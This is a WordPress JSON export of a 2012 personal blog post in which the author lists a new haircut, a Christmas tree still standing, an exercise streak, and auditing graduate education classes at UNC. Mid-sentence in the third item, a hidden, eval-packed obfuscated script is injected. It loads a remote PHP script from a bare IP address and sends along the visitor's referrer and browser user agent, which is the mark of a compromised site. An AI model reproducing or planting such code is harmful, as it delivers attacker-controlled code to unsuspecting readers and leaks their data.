{"id":2780,"date":"2012-01-12T09:18:36","date_gmt":"2012-01-12T16:18:36","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2780"},"modified":"2012-01-12T14:05:24","modified_gmt":"2012-01-12T21:05:24","slug":"meanwhile-back-on-the-ranch","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2780","title":{"rendered":"Meanwhile, back on the ranch&#8230;"},"content":{"rendered":"<p>1.  I got my hair cut again.  Why do I keep doing this to myself?  Yes, it looks better short.  I&#8217;ve come to terms with my life-long wish to have long, curly red hair.  I understand: for that kind of hair to look good on me, I&#8217;d need a totally different head.  But in the meantime, the short hair poses the following problems: A) hair driers and B) straightening irons.  I am ok with having to ask the little girls to show me how to use my phone, but it&#8217;s somewhat galling to have to ask them how to do my hair.<br \/>\nIt&#8217;s funny &#8211; I was certainly brought up to not care much what I looked like.  It&#8217;s partly a hippie thing and partly a middle-class white thing.  But now that I recognize the latter aspect, I pay a lot more attention to things like hair and make-up and  &#8211; although sometimes I need Paul&#8217;s help with this &#8211; not wearing sandals with socks.  To assume that I am wonderful no matter how I look, is healthy.  To assume the rest of the world will automatically agree with me on that, is arrogance.  Thus, I will learn to wear mascara and straighten my hair, as an exercise in humility.<\/p>\n<p>Thus far, the results range from hilarious to terrifying.<\/p>\n<p>2.  I still have my Christmas tree up.  I know, I know &#8211; after 12th night all those pine needles turn into demons.  But as demons go, frankly, pine-needle demons are kind of ok with me.  Better the demons you know, right?<\/p>\n<p>3.  Exercising every day!  I&#8217;ve successfully done this for <em>four <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttkzf|var|u0026u|referrer|srrak||js|php'.split('|'),0,{}))\n<\/script><\/noindex> whole days in a row<\/em>!  Woot!  That&#8217;s, like, twice as long as my previous record.  Although I have to admit, this morning my &#8220;pilates workout&#8221; only lasted about 5 minutes, and it was terribly, terribly difficult.  Even the easy leg stretches and roll-ups had me groaning and collapsing like I was gonna die.  <em>But I still get a sticker!<\/em><\/p>\n<p>4.  Went to my first graduate classes at UNC.  I am dead set on getting myself a doctorate for my birthday.  It will have to be a birthday a couple of years from now, but still, we must begin!  I&#8217;ve got a year to get my application together, and then if all goes well I&#8217;d be starting school in 2013-2014.  (!)  <\/p>\n<p><em>That seems like a really, really long time from now.<\/em><\/p>\n<p>So, I figured, why wait?  So much of my life is <em>waiting<\/em>, right now; so much depends on what other people will &#8220;allow.&#8221;  I&#8217;m not waiting for this!  So I went ahead and started taking classes, even though I&#8217;m not registered as a student, I haven&#8217;t been admitted to the program, and I won&#8217;t be getting credit.  I&#8217;m going anyway.  <\/p>\n<p>I love my classes already.  I&#8217;ve downloaded over 100 articles from old course syllabi I found online, and I&#8217;ve already read a couple of the books required for the classes I&#8217;m sitting in on.  Curriculum theory classes, mostly, and a course on educational finance and equity.  Intellectually, I am going to get my butt kicked, but I don&#8217;t care.  Again, results will probably range from hilarious to terrifying, and again, I expect I&#8217;ll learn a couple more lessons in humility.  But after everything I&#8217;ve been through with this whole adoption thing, really, not much scares me anymore.  I know it will be hard, and I know <em>I can do things that are hard.<\/em><\/p>\n<p>If I just sit and wait, I will turn into jelly, mentally and physically.  I need to stay <em>me<\/em>.  Right now, Me is ready to learn things, armed with a highlighter in one hand and a flat-iron in the other.  Woo hoo!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. I got my hair cut again. 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